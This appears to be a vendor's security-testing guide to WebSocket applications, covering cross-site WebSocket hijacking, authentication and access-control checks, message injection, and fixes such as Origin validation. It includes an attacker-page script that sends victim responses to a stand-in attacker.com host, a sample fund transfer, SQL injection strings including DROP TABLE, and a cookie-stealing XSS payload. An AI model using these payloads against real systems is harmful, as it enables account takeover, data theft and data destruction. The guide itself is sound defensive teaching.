WebSocket Security Testing: Authentication, CSRF, and Injection
WebSockets are everywhere in modern web applications — real-time dashboards, collaboration tools, live notifications, trading platforms, support chat. And they're systematically undertested. Traditional web security tooling was built for the HTTP request-response cycle. WebSockets break that model: a persistent bidirectional channel, messages that don't fit neatly into the GET/POST paradigm, authentication that happens at handshake time rather than per-request. Security teams whose workflows are request-response shaped often miss the WebSocket attack surface entirely.
This guide covers the WebSocket threat model end-to-end: how the protocol works, what makes it distinct from HTTP, and a concrete methodology for testing authentication, access control, cross-site hijacking, and message-level injection.
WebSocket Protocol Basics
A WebSocket connection starts as an HTTP Upgrade request:
GET /chat HTTP/1.1
Host: app.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.example.com
Cookie: session=user-session-token
The server responds with 101 Switching Protocols, the connection upgrades, and a full-duplex channel is established. From this point, both client and server can send frames in either direction without headers, without the overhead of new connections, and without the request-response coupling of HTTP.
The security implications are significant:
- Authentication happens once — at the HTTP Upgrade request. After the handshake, the server typically trusts the channel without per-message re-authentication
- Cookies are sent automatically — just like HTTP requests, the browser sends cookies with the Upgrade request. This includes session cookies, which is the basis for cross-site WebSocket hijacking
- The Origin header is present — but only advisory. Server-side validation of Origin is optional and frequently skipped
- No built-in CSRF protection — there's no equivalent of the
SameSitecookie attribute semantics or CSRF token pattern for WebSocket messages
Cross-Site WebSocket Hijacking (CSWSH)
Cross-site WebSocket hijacking (CSWSH) is the WebSocket equivalent of CSRF. It exploits the fact that browsers send cookies with WebSocket Upgrade requests to any domain, regardless of which page initiates the connection — just like they do for HTTP requests. An attacker can establish a WebSocket connection to the victim's application from a malicious page, authenticated with the victim's session cookies.
The Attack
The attacker hosts a page that initiates a WebSocket connection to the target application:
// Attacker's page — victim visits this URL
const ws = new WebSocket('wss://vulnerable-app.com/chat');
ws.onopen = () => {
// Connection authenticated with victim's cookies
// Send privileged messages
ws.send(JSON.stringify({type: 'get_account_info'}));
ws.send(JSON.stringify({type: 'transfer_funds', amount: 1000, to: 'attacker'}));
};
ws.onmessage = (event) => {
// Exfiltrate responses
fetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
If the server doesn't validate the Origin header during the WebSocket handshake, this connection is established and the attacker can send any messages the victim is authorized to send, reading any responses the victim would receive. The victim's account data is exfiltrated to the attacker's server without the victim doing anything beyond visiting the attacker's page while logged into the target application.
Testing for CSWSH
Using Burp Suite:
- Browse the application normally to establish a WebSocket connection through Burp's proxy
- In Proxy > WebSockets history, find the Upgrade request
- Send the Upgrade request to Repeater
- Modify the
Originheader to an arbitrary external domain (e.g.,https://attacker.com) - Send the modified request
If the server responds with 101 Switching Protocols despite the modified Origin, it's not validating the Origin header. The application is vulnerable to CSWSH. Confirm by sending a privileged message (account info request, etc.) and verifying a valid response.
The manual test:
# Using websocat with a modified Origin
websocat --header "Origin: https://attacker.com" \
--header "Cookie: session=victim-session-token" \
wss://vulnerable-app.com/chat
# If connection succeeds and server sends/receives messages,
# CSWSH is confirmed
WebSocket Authentication Testing
Authentication at Handshake vs Per-Message
Most WebSocket implementations authenticate at handshake time (via session cookie or token in the Upgrade request) and then trust all subsequent messages from the authenticated channel. This is reasonable from a performance standpoint but creates risk if the session can be invalidated without the WebSocket connection being closed.
Test scenarios:
- Log out in one browser tab while WebSocket is active in another — does the WebSocket connection persist and continue to accept privileged messages?
- Session expiry — does the WebSocket disconnect when the session token expires, or does the connection remain active indefinitely?
- Password change — when a user changes their password (which should invalidate other sessions), does the WebSocket connection close?
- Admin deactivates account — does the WebSocket connection close immediately, or does the user retain access until they disconnect?
Authentication Bypass via Upgrade Request Manipulation
Some applications perform authentication in the HTTP Upgrade handler but the WebSocket message handler has separate logic. Test by connecting with a valid session, then sending messages that reference other users' resources:
// Connect as user A (legitimate)
const ws = new WebSocket('wss://app.example.com/api');
ws.onopen = () => {
// Request data belonging to user B
ws.send(JSON.stringify({
type: 'get_messages',
userId: 'user-b-id' // IDOR via WebSocket
}));
};
Access control vulnerabilities in WebSocket message handlers are common because developers focus IDOR and authorization logic on REST endpoints but overlook the WebSocket message routing layer. Every message type that operates on user-scoped data should be tested for horizontal privilege escalation.
Unauthenticated WebSocket Endpoints
Some applications expose WebSocket endpoints that don't require authentication — for public features like live event updates or public chat. Test whether these "public" endpoints leak information when accessed with specific parameters:
// Unauthenticated, but...
const ws = new WebSocket('wss://app.example.com/public/updates');
ws.onopen = () => {
// Does subscribing to a specific resource ID bypass authentication?
ws.send(JSON.stringify({subscribe: 'private-channel-id-for-paid-user'}));
};
Probe whether unauthenticated WebSocket connections can subscribe to private channels, receive private events, or access any data that should require authentication by guessing or enumerating resource identifiers.
Message Injection
SQL Injection via WebSocket Messages
WebSocket messages frequently contain structured data (JSON) that maps to database queries on the server. If the server constructs queries from message fields without parameterization, the WebSocket channel is an injection point:
// Normal message
{"type": "search", "query": "user@example.com"}
// SQL injection attempt
{"type": "search", "query": "user@example.com' OR '1'='1"}
{"type": "search", "query": "user@example.com'; DROP TABLE users; --"}
In Burp Suite, you can modify messages in the WebSocket history or use the Repeater to send modified messages. Test the same injection payloads you'd use for HTTP parameters — the server-side processing is often identical regardless of whether the input arrived via HTTP or WebSocket.
XSS via WebSocket Messages
If the application renders WebSocket message content in the DOM without sanitization, WebSocket messages are an XSS delivery channel:
// Attacker sends a message containing XSS payload
// If other users receive this message and the app renders it as HTML:
{"type": "chat", "message": "<img src=x onerror=alert(document.cookie)>"}
Stored WebSocket XSS — where a message is persisted and replayed to other users — is particularly dangerous because it triggers for all users who load the chat history, not just the original recipient. Test by sending XSS payloads via WebSocket and checking whether they appear rendered (not encoded) in the DOM of connected clients.
Command Injection and Path Traversal
WebSocket-connected applications often back complex operations: file operations, system commands, proxied requests. If message fields influence system commands or file paths, the injection surface applies equally through WebSocket channels. Test any message field that corresponds to a filename, path, or shell command with standard injection payloads.
Testing Tools
Burp Suite
Burp Suite's WebSocket support includes:
- Proxy > WebSockets history — captured WebSocket messages, both sent and received
- Repeater — resend individual messages with modifications; supports reconnecting and replaying sequences
- Intruder — automated fuzzing of WebSocket message fields
- Match and Replace — modify WebSocket messages in transit for session token swapping and parameter manipulation
For CSWSH testing, the easiest path is to send the Upgrade request from Proxy history to Repeater, modify the Origin header, and reconnect.
websocat
websocat is a command-line WebSocket client that gives you direct control over connections and messages:
# Connect with custom headers
websocat -v \
--header "Cookie: session=abc123" \
--header "Origin: https://attacker.com" \
wss://app.example.com/ws
# Pipe stdin to WebSocket — send messages interactively
echo '{"type":"get_users"}' | websocat wss://app.example.com/ws
# Connect and keep session open for interactive testing
websocat --no-close wss://app.example.com/ws
wscat
wscat is an npm-based interactive WebSocket client:
npm install -g wscat
# Connect with authentication header
wscat -c wss://app.example.com/ws \
-H "Authorization: Bearer eyJ..." \
-H "Origin: https://attacker.com"
# Once connected, type messages interactively
> {"type": "get_account", "userId": "other-user-id"}
Python websockets Library
For scripted testing, the Python websockets library provides full control:
import asyncio
import websockets
async def test_cswsh():
headers = {
'Cookie': 'session=victim-session-token',
'Origin': 'https://attacker.com'
}
try:
async with websockets.connect(
'wss://vulnerable-app.com/ws',
extra_headers=headers
) as ws:
# Connection succeeded despite wrong origin
print("CSWSH: Connection established!")
# Send privileged message
await ws.send('{"type": "get_user_data"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_cswsh())
Access Control Testing
Privilege Escalation via WebSocket
If the application has user roles (regular user vs admin), test whether regular users can trigger admin-only message types. Connect as a regular user and send messages that correspond to administrative operations:
// As regular user — can these admin messages be triggered?
{"type": "admin.get_all_users"}
{"type": "admin.change_user_role", "userId": "target-id", "role": "admin"}
{"type": "system.exec_command", "cmd": "whoami"}
Applications often implement HTTP endpoint authorization carefully but miss authorization checks in the WebSocket message dispatcher. The message routing layer needs the same access control rigor as the HTTP routing layer.
Tenant Isolation in Multi-Tenant Systems
In multi-tenant SaaS applications, WebSocket connections should be scoped to the authenticated tenant. Test whether message fields that reference tenant-specific resources (organization IDs, workspace IDs, project IDs) can be swapped to access other tenants' data:
// Connect as tenant-A user
// Can you subscribe to tenant-B's real-time events?
{"type": "subscribe_updates", "tenantId": "tenant-b-id", "resourceId": "private-doc-id"}
Remediation
Validate the Origin Header
Server-side Origin validation during the WebSocket handshake is the primary defense against CSWSH. Reject Upgrade requests from origins that aren't your application's origin:
// Node.js with ws library
const WebSocket = require('ws');
const wss = new WebSocket.Server({
port: 8080,
verifyClient: (info) => {
const allowedOrigins = ['https://app.example.com', 'https://www.example.com'];
return allowedOrigins.includes(info.origin);
}
});
The Origin header in WebSocket Upgrade requests is set by the browser and cannot be forged by JavaScript — unlike HTTP headers in regular requests. An attacker page at https://attacker.com that initiates a WebSocket connection will send Origin: https://attacker.com, which your server can reject. Note that this defense requires server-side enforcement — it provides no protection if you're relying on client-side code to check the origin.
Use a CSRF Token in the Handshake
For additional defense in depth, include a CSRF token in the WebSocket Upgrade URL or as a custom header during the handshake:
// Client embeds CSRF token in the WebSocket URL
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
const ws = new WebSocket(`wss://app.example.com/ws?token=${csrfToken}`);
// Server validates token before completing the handshake
app.get('/ws', upgradeMiddleware, (req, ws) => {
if (!validateCsrfToken(req.query.token, req.session)) {
ws.close(4001, 'Invalid CSRF token');
return;
}
// Upgrade connection
});
This is defense in depth against CSWSH when Origin validation alone is insufficient (e.g., when the server must accept multiple origins or when dealing with native application clients that send arbitrary origins).
Re-validate Authorization Per Message
Don't rely solely on handshake-time authentication. For sensitive operations, validate the user's current session state and authorization for each message that accesses privileged resources:
// Per-message authorization check
ws.on('message', async (data) => {
const message = JSON.parse(data);
const user = await getActiveSession(ws.sessionId);
if (!user) {
ws.send(JSON.stringify({error: 'Session expired'}));
ws.close();
return;
}
if (message.type === 'get_document') {
// Explicitly check ownership — don't trust the client's userId
const doc = await Document.findById(message.documentId);
if (doc.ownerId !== user.id && !user.canRead(doc)) {
ws.send(JSON.stringify({error: 'Access denied'}));
return;
}
// ... serve document
}
});
Close Connections on Session Invalidation
Maintain a server-side registry of active WebSocket connections keyed by session ID. When a session is invalidated (logout, password change, admin revocation), close all associated WebSocket connections:
// Session invalidation handler
async function invalidateSession(sessionId) {
await deleteSession(sessionId);
// Close all WebSocket connections for this session
const connections = activeConnections.get(sessionId) || [];
connections.forEach(ws => {
ws.send(JSON.stringify({type: 'session_invalidated'}));
ws.close(4000, 'Session invalidated');
});
activeConnections.delete(sessionId);
}
Ironimo tests WebSocket endpoints for CSWSH, authentication bypass, and message-level injection attacks — including Origin header validation checks and per-message access control verification.